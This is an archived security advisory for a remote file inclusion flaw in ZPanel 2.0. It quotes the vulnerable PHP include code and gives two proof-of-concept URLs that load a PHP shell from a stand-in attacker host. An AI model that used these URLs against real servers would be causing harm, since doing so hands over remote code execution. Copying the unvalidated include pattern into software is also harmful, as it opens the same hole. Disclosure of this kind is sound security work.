what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

zpanel.txt

zpanel.txt
Posted Feb 24, 2007
Authored by Hamid Ebadi | Site bugtraq.ir

ZPanel suffers from a remote file inclusion vulnerability.

tags | exploit, remote, file inclusion
SHA-256 | 4a39bf3c9c6b6df1e3441f7a0ffee9ceaada3bbdfb746c94cc410f462ed867b6

zpanel.txt

Change Mirror Download
ZPanel Remote File Inclusion
ZPanel is a hosting control panel used by web hosts to give their users a friendly interface
to manage any aspects of their hosting or account information.
ZPanel is an open source project and runs on Windows and Linux.
zpanel tested on :
Windows : 2000 Adv. Server,2000 Server,2003 Ent. Server,XP Professional
Linux : SuSE 9.1, 9.2 ,Debian,Fedora 2,FreeBSD 4.9, 5.2.1,Mandrake 9.1, 9.2,Redhat 7.9, 9


http://www.thezpanel.com
http://www.zee-way.com
http://forge.novell.com/modules/xfmod/project/?zpanel

Credit:
The information has been provided by Hamid Ebadi
The original article can be found at : http://www.bugtraq.ir/articles/advisory/ZPanel-Remote-File-Inclusion/2

Vulnerable Systems:
Version: ZPanel 2.0 (and below)
(also tested on ZPanel-v25-BETA11 )


Description:
Input passed to the "page" parameter in "zpanel.php" and "body" parameter in "templates/ZPanelV2/template.php" isn't properly verified, before it is used to include files.
This can be exploited to include arbitrary files from remote and local resources.

Vulnerable Code :

http://[host]/ZPanel/zpanel.php

// zpanel.php line : 21
if (!isset($_GET['page'])){
$body = "main.php";
}else{
$body = $_GET['page'] . ".php";
}
// ...

// line : 38
//Loading template
$templatefolder = $row_Config['template'];
include('templates/'.$templatefolder.'/template.php');



http://[host]/ZPanel/templates/ZPanelV2/template.php

// template.php
// line : 63

<?php include ($body); ?>




POC exploit :
http://[host]/ZPanel/zpanel.php?page=http://attacker/phpshell.txt?
http://[host]/ZPanel/templates/ZPanelV2/template.php?body=http://attacker/phpshell.txt?

# http://www.bugtraq.ir
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close